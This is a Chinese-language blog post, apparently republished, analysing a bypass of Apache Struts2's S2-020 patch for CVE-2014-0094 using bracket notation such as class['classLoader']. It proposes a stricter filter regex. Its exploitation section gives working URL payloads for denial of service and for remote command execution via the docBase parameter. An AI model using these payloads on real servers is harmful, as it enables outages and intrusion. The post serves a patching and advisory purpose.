当前位置: 首页 > news >正文

Struts2 S2-020补丁绕过漏洞

0×00 背景

安全研究人员指出Apache Struts2在漏洞公告S2-020里,在处理修复CVE-2014-0094的漏洞修补方案存在漏洞,导致补丁被完全绕过。

0×01 分析

Struts2 S2-020 中加入 (.*\.|^)class\..* 来过滤action参数。然而最近翰海源报告了一种绕过方法(http://blog.vulnhunt.com/index.php/2014/04/24/apache_struts2_0day/),使用class['classLoader']来代替class.classloader绕过正则表达式,从而完全绕过S2-020的补丁。
翰海源提出较为严格的临时解决方案,替换所有的 ^dojo\..* 改为 (.*\.|^)class.*,^dojo\..*
因此过滤所有class开头和包含.class的action参数。显然这个解决方案不够完美,我觉得替换成

(.*\.|^)class(\.|('|")]|\[).*,^dojo\..*

才好,只过滤class开头且后面为. [ "] '] 形式的参数。

Done!

0x02 利用

DDOS原利用方法:

http://www.domain.com/index.action?class.classLoader.resources.dirContext.docBase=不存在的路径

绕过方法:

http://www.domain.com/index.action?class['classLoader']['resources']['dirContext']['docBase']=不存在的路径

远程命令执行原利用方法:

http://www.domain.com/index.action?class.classLoader.resources.dirContext.docBase=映射主机共享目录

绕过方法:

http://www.domain.com/index.action?class['classLoader']['resources']['dirContext']['docBase']=映射主机共享目录

相关文章:

  • Discuz爆破无视验证码
  • Codeigniter 利用加密Key(密钥)的对象注入漏洞
  • 内网渗透案例
  • Fckeditor漏洞利用总结
  • 彻底删除Web路径下所有”.svn”遗留文件
  • office 2013 word 打开就停止响应解决办法
  • 常用汉字的UTF-8编码及编码范围
  • 阿里公共DNS
  • MySQL低权限账号读取文件
  • 调用域名注册api,查询所有域名组合脚本
  • Apache与phpmyadmin的安全配置
  • PHP 表达式入门
  • MySql数据库配置优化 [转]
  • js获取本机ip地址、mac地址、机器名
  • “ Warning: fopen( ” 错误解决 !
  • Android单元测试 - 几个重要问题
  • JAVA_NIO系列——Channel和Buffer详解
  • JavaScript DOM 10 - 滚动
  • JS 面试题总结
  • Linux下的乱码问题
  • oldjun 检测网站的经验
  • 基于Android乐音识别(2)
  • 近期前端发展计划
  • 目录与文件属性:编写ls
  • 算法之不定期更新(一)(2018-04-12)
  • 问:在指定的JSON数据中(最外层是数组)根据指定条件拿到匹配到的结果
  • 用element的upload组件实现多图片上传和压缩
  • Java总结 - String - 这篇请使劲喷我
  • 翻译 | The Principles of OOD 面向对象设计原则
  • (zt)最盛行的警世狂言(爆笑)
  • (一)80c52学习之旅-起始篇
  • (转)IOS中获取各种文件的目录路径的方法
  • (转)shell中括号的特殊用法 linux if多条件判断
  • .net core 6 使用注解自动注入实例,无需构造注入 autowrite4net
  • .Net Core与存储过程(一)
  • .Net 应用中使用dot trace进行性能诊断
  • .NET企业级应用架构设计系列之结尾篇
  • @reference注解_Dubbo配置参考手册之dubbo:reference
  • @transaction 提交事务_【读源码】剖析TCCTransaction事务提交实现细节
  • @基于大模型的旅游路线推荐方案
  • [Android Pro] AndroidX重构和映射
  • [CUDA 学习笔记] CUDA kernel 的 grid_size 和 block_size 选择
  • [IE编程] WebBrowser控件中设置页面的缩放
  • [JS]JavaScript 注释 输入输出语句
  • [LeetCode][138]【学习日记】深拷贝带有随机指针的链表
  • [LeetCode][LCR190]加密运算——全加器的实现
  • [NCTF2019]True XML cookbook
  • [Oh My C++ Diary]#ifndef / #define / #endif 使用详解
  • [Oh My C++ Diary]带参数的main()函数
  • [RK3568 Android11] Binder驱动结构体
  • [Spark SQL]Spark SQL读取Kudu,写入Hive
  • [SWPUCTF 2021 新生赛]easy_md5
  • [UE4]GameInstance初始化
  • [xdoj] 13011302 数字计数 数字计数的复仇
  • [ZT]Dev-C++中编译C语言报错